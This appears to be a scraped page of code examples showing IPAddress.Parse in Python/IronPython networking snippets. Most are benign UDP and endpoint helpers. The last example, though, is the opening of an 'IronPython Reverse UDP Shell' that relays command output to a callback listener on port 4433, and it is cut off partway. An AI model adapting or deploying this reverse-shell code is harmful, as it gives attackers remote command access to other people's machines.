Пример #1
0
    def __init__(self, ip, port):
        self.ClientType = ClientType
        self.ID = "UDP Client"
        self.ConnectionAddress = ip + ":" + port

        # Connect upon creation
        self._Endpoint = IPEndPoint(IPAddress.Parse(ip), int(port))
        self._Connected = False
        self.Connect()
Пример #2
0
 def _start_pcus(self):
     print("Starting PCU's")
     sleep(0.5 * len(self.PcuCollection))
     for pcu in self.PcuCollection:
         ip_address = IPAddress.Parse(self._server_address)
         ip_endpoint = IPEndPoint(ip_address, self._server_port)
         # pcu.PropertyChanged += self._property_changed
         pcu.Connect(ip_endpoint)
         print("PCU Started, SN: " + str(pcu.DeviceOptions.Serial))
         sleep(2)
Пример #3
0
    def __init__(self, port, ipAddress):
        self.client = UdpClient(0)

        # Only set this if you want to be able to listen
        # on the same machine
        self.client.MulticastLoopback = True

        # No *need* to parse - you can pass in a string
        addr = IPAddress.Parse(ipAddress)

        # Connecting means that you don't have to specify
        # The IP address when we call send.
        # For Udp, connecting isn't a requirement though
        self.client.Connect(addr, port)
Пример #4
0
def _address_to_endpoint(address):
    host, port = address
    ip = gethostbyname(host)
    return IPEndPoint(IPAddress.Parse(ip), port)
Пример #5
0
def inet_aton(string):
    ip = IPAddress.Parse(string)
    packed = raw.GetString(ip.GetAddressBytes())
    return packed
Пример #6
0
def convertNumToIP(ipNum):
    ipBytes = IPAddress.Parse(ipNum.ToString()).GetAddressBytes()
    Array.Reverse(ipBytes)
    return IPAddress(ipBytes).ToString()
Пример #7
0
##################################################
## IronPython Reverse UDP Shell
##################################################
## Author: daddycocoaman
##################################################
from System.Diagnostics import Process, DataReceivedEventHandler, DataReceivedEventArgs
from System.IO import IOException
from System.Net import IPEndPoint, IPAddress
from System.Net.Sockets import UdpClient
from System.Text import Encoding

#Set callback IP/Port
IP = ""
PORT = 4433
ep = IPEndPoint(IPAddress.Parse(IP), PORT)

#Set Timeout in milliseconds. 0 is infinite
RCV_TIMEOUT = 0


def CmdOutputDataHandler(process, outline):
    if not outline.Data:
        bytesOut = Encoding.ASCII.GetBytes(" \r\n")
        client.Send(bytesOut, bytesOut.Length)
    else:
        bytesOut = Encoding.ASCII.GetBytes(outline.Data + "\r\n")
        client.Send(bytesOut, bytesOut.Length)


#Connect to listener
client = UdpClient(IP, PORT)